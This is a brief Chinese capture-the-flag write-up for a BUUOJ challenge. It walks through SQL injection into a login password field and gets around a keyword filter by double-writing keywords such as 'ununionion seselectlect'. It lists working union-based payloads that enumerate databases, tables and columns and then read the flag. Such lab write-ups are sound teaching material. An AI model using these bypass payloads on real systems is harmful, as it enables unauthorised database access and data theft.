题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,提示请输入用户名和密码
第二步:使用order by确定字段数目,发现无法识别语句
第三步:使用union select确定回显位置,发现union select被过滤
第四步:使用双写绕过
-
将union select改写为ununionion seselectlect,from改为frfromom,where改为whwhereere用于绕过检测方法
-
使用union select确定回显位置:密码一栏输入
1' ununionion seselectlectg 1,2,3#
发现2,3位置可以回显。
-
使用
ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
获取所有数据库名
-
使用
ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
获取ctf数据库下的所有表名
-
使用
ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
获取Flag标下的所有字段
-
使用
ununionion seselectlect 1,2,group_concat(flag) frfromom (ctf.Flag)#
获取Flag表里flag字段具体内容